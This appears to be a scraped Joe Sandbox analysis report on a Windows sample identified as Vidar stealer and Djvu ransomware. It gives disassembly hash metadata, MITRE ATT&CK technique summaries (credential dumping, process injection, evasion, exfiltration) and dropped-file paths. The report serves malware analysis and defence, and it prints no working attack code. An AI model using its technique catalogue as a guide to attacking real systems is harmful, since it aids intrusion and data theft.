Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 5be24f0b98d4e6cd06372727c3407ee7e1b841d597e1a6064bb3adaa87b47b95
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 5be24f0b98d4e6cd06372727c3407ee7e1b841d597e1a6064bb3adaa87b47b95
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 071899a1ec40e58124afefb64c3ca946a609d82b36fd57056892d0f11dd476bc
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 071899a1ec40e58124afefb64c3ca946a609d82b36fd57056892d0f11dd476bc
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Z4CYGTBlj7.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\_README.txt

C:\ProgramData\AFCFHJJE

C:\ProgramData\IIJDBGDGCGDAKFIDGIDBFIEHDH

C:\ProgramData\JJJJDAAECGHDGDGCGHDB

C:\SystemID\PersonalID.txt

C:\Users\user\.curlrc

C:\Users\user\.curlrc.bgjs (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgjs (copy)

Windows Analysis Report
Z4CYGTBlj7.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre